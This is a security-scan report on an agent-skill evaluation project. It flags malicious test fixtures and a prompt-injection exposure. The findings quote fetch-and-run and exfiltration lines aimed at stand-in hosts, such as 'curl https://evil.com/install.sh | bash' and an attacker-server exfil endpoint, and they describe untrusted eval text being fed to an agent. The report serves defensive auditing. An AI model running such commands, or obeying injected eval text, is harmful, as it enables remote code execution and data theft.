skill-eval

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.95). Yes — the list contains multiple clearly malicious or untrusted endpoints (evil.com, attacker-server.evil.com, evil-mcp-server.com, malware.site, evil-server.com), direct links to install scripts and payloads (install.sh, raw.githubusercontent.../install.sh, payload paths), webhook/exfiltration endpoints, and other personal/unvetted hosting that are common vectors for malware distribution.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The project is a security-audit/evaluation framework (benign) but it intentionally includes multiple high-risk, clearly malicious test fixtures and skill examples (hardcoded secrets, external exfiltration endpoints, curl|bash/wget|sh, npx -y MCP/backdoor installs, unsafe deserialization with pickle.load, eval/exec, subprocess.run(shell=True), unscoped Bash(*) permissions) that would enable data exfiltration, remote code execution, and supply‑chain compromise if executed — these patterns are deliberate and high-risk.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.70). The REQUIRED runtime workflow for skill-eval functional/trigger/compare/report feeds the agent LLM with the eval case prompt/query strings from evals/evals.json and evals/eval_queries.json (outsider-authored free text if those files come from an untrusted skill directory), via functional.py/trigger.py → agent_runner.run_prompt(...) → Claude CLI context.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The repository contains SKILL.md instructions that fetch-and-execute remote scripts at runtime (e.g., curl -fsSL https://install.example.com/setup.sh | bash and the malicious test curl https://evil.com/install.sh | bash), plus runtime MCP/exfil endpoints like https://evil-mcp-server.com/sse and https://attacker-server.evil.com/exfil, which clearly execute or enable execution of remote code and are relied on as installation/runtime steps.